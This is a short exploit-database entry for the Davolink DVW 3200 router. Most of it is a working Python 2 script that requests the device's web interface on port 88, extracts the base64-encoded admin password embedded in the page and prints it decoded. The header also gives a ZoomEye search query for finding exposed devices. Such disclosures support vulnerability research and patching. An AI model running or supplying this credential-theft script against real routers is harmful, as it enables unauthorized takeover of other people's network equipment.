Davolink DVW 3200 Router Password Disclosure

`# Exploit Title: Davolink DVW 3200 Router - Password Disclosure  
# Google Dork: N/A  
# Zoomeye dork : https://www.zoomeye.org/searchResult?q=%22var%20user_passwd%22%20%2Bapp%3A%22DAVOLINK%20GAPD-7000%20WAP%20httpd%22   
# Date: 2018-07-13  
# Exploit Author: Ankit Anubhav  
# Vendor Homepage: www.davolink.co.kr  
# Software Link: N/A  
# Version: DVW 3200  
# Tested on: Python 2.7 Windows 10  
# CVE : N/A  
  
# Many Davolink Davolink DV 3200 devices credentials can be disclosed using the following script.  
# Author : Ankit Anubhav (ankitanubhav.com) of NewSky Security ( https://www.newskysecurity.com/ )  
  
# Usage script.py 1.3.3.7 where 1.3.3.7 is the Davolink DV 3200 IP.  
# Use responsibly only for research and testing purposes.  
# Tested with python 2.7  
  
import sys  
import urllib2  
import re  
import base64  
  
def davolink_credfinder(ip):  
try:  
req = urllib2.Request('http://' + ip + ':' + '88', headers={ 'User-Agent': 'Mozilla/5.0' })  
connection_check = str(urllib2.urlopen(req).getcode())  
  
if (connection_check == "200"):  
html = urllib2.urlopen(req).read()  
str_html = str(html)  
m=re.compile('var user\_passwd\=\"(.*?)\"').search(str_html)  
encoded_pwd =str(m.group(1))  
actual_pwd = base64.b64decode(encoded_pwd)  
print "**************************************************************************************************"  
print "The password for the Davolink device is " + actual_pwd  
print "**************************************************************************************************"  
else:  
print "Connection to port 88 was not successful. Cant find credentials,sorry."  
except:  
print "There was an error in connecting to the IP."  
  
davolink_credfinder(sys.argv[1])  
  
`